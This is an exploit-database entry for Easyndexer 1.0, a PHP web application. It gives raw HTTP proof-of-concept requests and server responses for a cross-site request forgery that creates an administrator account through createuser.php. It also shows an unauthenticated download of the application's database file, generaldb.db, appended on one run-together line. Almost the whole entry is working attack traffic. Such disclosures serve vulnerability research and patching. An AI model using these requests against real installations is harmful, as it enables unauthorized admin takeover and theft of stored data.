Easyndexer 1.0 - Cross-Site Request Forgery (Add Admin)

Ihsan Sencan 2018-11-12 webapps php
# Exploit Title: Easyndexer 1.0 - Cross-Site Request Forgery (Add Admin)
# Dork: N/A
# Date: 2018-11-10
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://sourceforge.net/projects/easyndexer/
# Software Link: https://ayera.dl.sourceforge.net/project/easyndexer/easyndexer_win32.exe
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/src/createuser.php
# 
POST /[PATH]/src/createuser.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
username=efe&password=efe&name=OMer&surname=Efe&privileges=1
HTTP/1.1 200 OK
Date: Sat, 10 Nov 2018 17:12:54 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: PHPSESSID=fuiv6a0p3jnu15ggcphj624e74; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 127
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/src/createuser.php
# 



	
New:
# POC: Database File Download # 3) # http://localhost/[PATH]/databases/generaldb.db # GET /[PATH]/databases/generaldb.db HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=fuiv6a0p3jnu15ggcphj624e74 Connection: keep-alive HTTP/1.1 200 OK Date: Sat, 10 Nov 2018 17:15:04 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 Last-Modified: Sat, 10 Nov 2018 17:12:54 GMT Etag: "1400-57a52941eade9" Accept-Ranges: bytes Content-Length: 5120 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive